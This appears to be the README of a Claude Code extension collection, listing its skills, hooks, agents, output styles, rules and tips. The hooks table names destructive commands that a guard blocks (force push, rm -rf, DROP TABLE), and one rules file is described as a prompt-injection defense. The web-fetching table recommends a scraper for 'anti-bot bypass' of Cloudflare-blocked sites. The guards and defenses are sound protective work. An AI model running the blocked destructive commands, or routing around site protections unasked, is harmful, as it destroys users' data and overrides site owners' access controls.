evals-ops Evals for LLM/agent systems - outcome vs step vs trajectory scoring, golden-set construction and freeze discipline, LLM-as-a-judge bias control and Cohen-kappa calibration, adversarial refuters, blocking-vs-advisory CI gates, cost/latency attribution. McNemar paired-significance testing, RAG retrieval eval, annotation workflow, and hillclimbing discipline (pairs with iterate). judge-calibration/goldenset-audit/eval-baseline scripts plus golden-set, rubric, runner and CI-gate templates.
claude-code-ops Claude Code internals - full hook event catalog, skill frontmatter spec, headless/CLI reference, extension debugging
playwright-ops Playwright e2e testing - selector hierarchy, fixtures, network mocking, CI sharding, flake hunting

Hooks

Hook Type Description
pre-commit-lint.sh PreToolUse Auto-lint staged files before commit (JS/TS, Python, Go, Rust, PHP)
post-edit-format.sh PostToolUse Auto-format files after Write/Edit (Prettier, Ruff, gofmt, rustfmt)
dangerous-cmd-warn.sh PreToolUse Block destructive commands (force push, rm -rf, DROP TABLE)
enforce-uv.sh PreToolUse Enforce uv over pip/bare tools in uv projects (pip installuv add, bare pytest/ruffuv run)
pre-install-scan.sh PreToolUse Advisory on dependency installs (npm/pnpm/yarn/bun/pip/uv/poetry/composer/gem/cargo, incl. composer update) - route through Socket, respect cooldown; SUPPLY_CHAIN_BLOCK=1 for a hard gate
manifest-dep-scan.sh PostToolUse Advisory when the agent edits a dependency manifest (package.json/requirements/composer.json/Cargo.toml/go.mod/Gemfile) - depscore + cooldown the added package; silent on version bumps
check-mail.sh PreToolUse Check for unread pmail via signal file (no cooldown, zero-cost when empty)
session-start-unicode-scan.sh SessionStart One-shot hidden-Unicode scan of project instruction files at boot (silent on clean)
pre-commit-unicode-scan.sh Git pre-commit Block commits that add critical hidden Unicode (bidi, tag-block) to instruction files
config-change-guard.sh ConfigChange Scan changed Claude settings files for worm-persistence IOCs the moment they're edited (advisory; SUPPLY_CHAIN_BLOCK=1 to deny)
worktree-guard.sh PreToolUse Warn on commands that touch other sessions' .claude/worktrees/ (rm, worktree remove/prune, sweeping git add -A, double-force git clean -ff); WORKTREE_GUARD_BLOCK=1 to deny
pre-write-peer-guard.sh PreToolUse Mid-session peer-writer guard — warn before writing a file a live peer session in the same checkout just modified (collisions happen during a session, not only at boot); pairs with session-touched-ledger.sh
session-touched-ledger.sh PostToolUse Record files this session has written so the peer-writer guard can tell own edits from a peer's (silent, never blocks)

Output Styles

Style Personality Best For
Vesper Sophisticated British wit, intellectual depth General development work
Spartan Minimal, bullet-points only Quick tasks, CI output
Mentor Patient, educational Learning, onboarding
Executive High-level summaries Non-technical stakeholders
Pair Thinks out loud, explores together Collaborative problem-solving
Atlas Strategic advisor, systems thinking Architecture, planning
Coach Celebrates wins, pushes to level up Momentum, motivation
Harbour Warm, steady, calm in the storm Complex or stressful tasks
Meridian Chief of staff, anticipatory Project coordination
Noir Hard-boiled detective, Chandler meets SRE Debugging, investigations
Roast Brutally honest friend Code review, improvement
Sage Thoughtful, measured, precise Post-mortems, analysis
Scout Curious, lateral, challenges assumptions Design, problem reframing

Agents

Skills-first (v3.0): language/framework expert agents (python-expert, react-expert, etc.) were deprecated in favour of their -ops skill twins — unique agent content was folded into the skills.

Why, per Anthropic's guidance: skills and subagents solve different problems. A subagent's value is context isolation — it runs in a separate context window so a large, noisy investigation returns only its distilled result to the main thread. Skills are the home for knowledge: thanks to progressive disclosure they cost ~100 tokens (name + description) until they're relevant, then load their body and references on demand. A python-expert agent that only carried Python knowledge used none of the isolation benefit — it was a knowledge container paying a dispatch cost, and it duplicated the python-*-ops skills (5 of the 11 retired agents had no content their skill twin lacked). Knowledge belongs in skills; subagents are reserved for delegation that needs its own context or model.

Delegation stays where it earns its keep: dispatching skills (review, testgen, perf-ops, security-ops, explain) still route to general-purpose agents — but those agents now preload the relevant skill for their knowledge. Subagent = the isolation mechanism, skill = the knowledge it loads. The agents below remain because they have no skill twin (a distinct capability, or — like git-agent — a real background-worker role that uses the isolation boundary).

The end state is clean: every domain-knowledge agent is now a skill, and the only agents left are the three whose value is the isolation mechanism — git-agent (a background worker), firecrawl-expert (large noisy scrapes), and project-organizer (bulk filesystem restructure).

Sources: Agent Skills — progressive disclosure and on-demand loading; Subagents — a separate context window for delegated work.

Agent Description
firecrawl-expert Web scraping, crawling, parallel fetching, structured extraction
git-agent Background git operations - commits, PRs, releases (Sonnet)
project-organizer Reorganize directory structures, cleanup

Rules

Rule Description
cli-tools.md Modern CLI tool preferences (fd, rg, eza, bat, etc.)
commit-style.md Conventional commits format and examples
naming-conventions.md Component naming patterns for agents, skills, commands
prompt-injection.md Instruction-integrity defense - scan-on-entry, sanitize-on-ingest, hidden-Unicode hygiene
skill-agent-updates.md Mandatory docs check before creating/updating skills or agents
supply-chain.md Behavioural-first dependency hygiene - scan before adding, day-zero cooldown, OIDC audit, persistence-hook awareness
worktree-boundaries.md Never touch other sessions' worktrees - no rm -rf, no git add -A sweeping gitlinks
loop-engineering.md Graduated-autonomy discipline for scheduled/autonomous agent loops - L1→L2→L3, scheduler-not-session, escalation gate, kill switch + budget; companion to loop-ops
agentic-quality.md Code, comments, and structure that survive the session - cold-agent test, comment doctrine (contract blocks, WHY-only, guard comments), entry-doc standard, file-size discipline, docs indexing + pairing; companion to repo-doctor
dev-servers.md Never start local dev servers ad-hoc - register them under a process-compose + portless stack with a port registry; template rule (adapt paths), companion to process-compose-ops/portless-ops
modern-tools.md Which-tool enforcement when generating commands - default modern (uv, fd, rg, sd), footnote legacy; companion to cli-tools.md
public-posts.md Preview-before-send for public surfaces - quote the verbatim draft and wait for explicit approval before gh comments, PRs, or any external post
release-review.md Never auto-publish GitHub releases - push commit+tag, stop, surface the diff for human review before gh release create
shell-preference.md Speak the user's shell, never assume bash - shell-detection signals plus a worked PowerShell 5.1 example with the bash-to-PowerShell translation table

Tools & Hooks

Resource Description
tools/ Modern CLI toolkit - token-efficient replacements for legacy commands
hooks/ Hook examples for pre/post execution automation

Web Fetching Hierarchy

When fetching web content, tools are used in this order:

Priority Tool When to Use
1 WebFetch First attempt - fast, built-in
2 r.jina.ai/URL JS-rendered pages, PDFs, cleaner extraction
3 firecrawl <url> Anti-bot bypass, blocked sites (403, Cloudflare)
4 firecrawl-expert agent Complex scraping, structured extraction

See tools/README.md for full documentation and install scripts.

Testing & Validation

Validate all extensions before committing:

cd tests

# Run full validation (requires just)
just test

# Or run directly
bash validate.sh

# Windows
powershell validate.ps1

What's Validated

  • YAML frontmatter syntax
  • Required fields (name, description)
  • Naming conventions (kebab-case)
  • File structure (agents/.md, skills//SKILL.md)
  • Plugin manifests (.claude-plugin/plugin.json + marketplace.json) via the authoritative claude plugin validate, plus a guard against a stray root marketplace.json

Available Tasks

cd tests
just              # List all tasks
just test         # Run full validation
just validate-yaml # YAML only
just validate-names # Naming only
just stats        # Count extensions
just list-agents  # List all agents

Session Continuity

Claude Code remembers conversation history (--resume), Claude-curated learnings (auto-memory) and in-session checkpoints (/rewind) - all machine-local, and none of it is task state. Tasks are session-scoped and deleted when the session ends, by design.

/save + /sync add the piece that's missing: a state file you control, in your repo - task restore, structured git/PR context, explicit handoff notes and session-ID bridging - so a session can be resumed on another machine, reviewed in a diff, or handed to a teammate. It implements the pattern from Anthropic's Effective Harnesses for Long-Running Agents: every session makes incremental progress, then leaves structured updates.

/sync                              # bootstrap + restore saved state
[work]
/save "Stopped at auth module"     # writes .claude/session-cache.json + MEMORY.md

Use all three together: --resume for conversation, auto-memory for learnings, /sync for tasks and handoff. The persistence matrix, the full workflow and the session-cache.json schema live in docs/SESSION-CONTINUITY.md.

Updating

git pull

Then re-run the install script to update your global Claude configuration.

Performance Tips

MCP Tool Search

Tool Search is on by default: MCP tool definitions are deferred and loaded on demand instead of consuming context at session start. Three things are worth knowing:

  • It silently switches off behind a proxy. When ANTHROPIC_BASE_URL points at a non-first-party host - a fleet-worker on GLM via z.ai, or any LLM gateway - Claude Code loads every tool upfront, because most proxies don't forward tool_reference blocks. Set ENABLE_TOOL_SEARCH=true explicitly if yours does.
  • Threshold mode - ENABLE_TOOL_SEARCH=auto loads tools upfront until their definitions reach 10% of the context window, then defers all of them.
  • Exempt what you use every turn - "alwaysLoad": true on a server entry (or "anthropic/alwaysLoad": true in a tool's _meta) keeps it in context regardless.

Requires a model that supports tool_reference blocks: Sonnet 4.5, Haiku 4.5, Opus 4.5 and later. Docs: Scale with MCP tool search.

Skill Description Budget

With 90+ skills installed (this plugin alone ships 108), skill descriptions can overflow the listing budget. All skill names are always listed, but descriptions share a budget of 1% of the model context window — on overflow, least-invoked skills lose their descriptions first and silently stop auto-triggering (explicit /name invocation still works). Each skill's combined description + when_to_use is also truncated at 1,536 chars, so trigger phrases belong at the front.

  • Check: run /doctor — it shows whether the budget is overflowing and which skills are affected.
  • Fix: demote or disable skills you don't use via skillOverrides in settings ("on" / "name-only" / "user-invocable-only" / "off" per skill, or /skills + Space). Plugin skills are managed via /plugin instead.
  • Or raise the budget: skillListingBudgetFraction setting (e.g. 0.02), SLASH_COMMAND_TOOL_CHAR_BUDGET env var for a fixed char count, or maxSkillDescriptionChars for the per-skill cap.

Skills Over Commands

Most functionality lives in skills rather than commands. Skills get slash-hint discovery via trigger keywords and load on-demand, reducing context overhead. Only session management (/sync, /save) remains as commands.

See docs/ARCHITECTURE.md for the component model, and docs/SKILL-CREATION-PROTOCOL.md for how to build a new skill.

Resources


Extend Claude Code. Your way.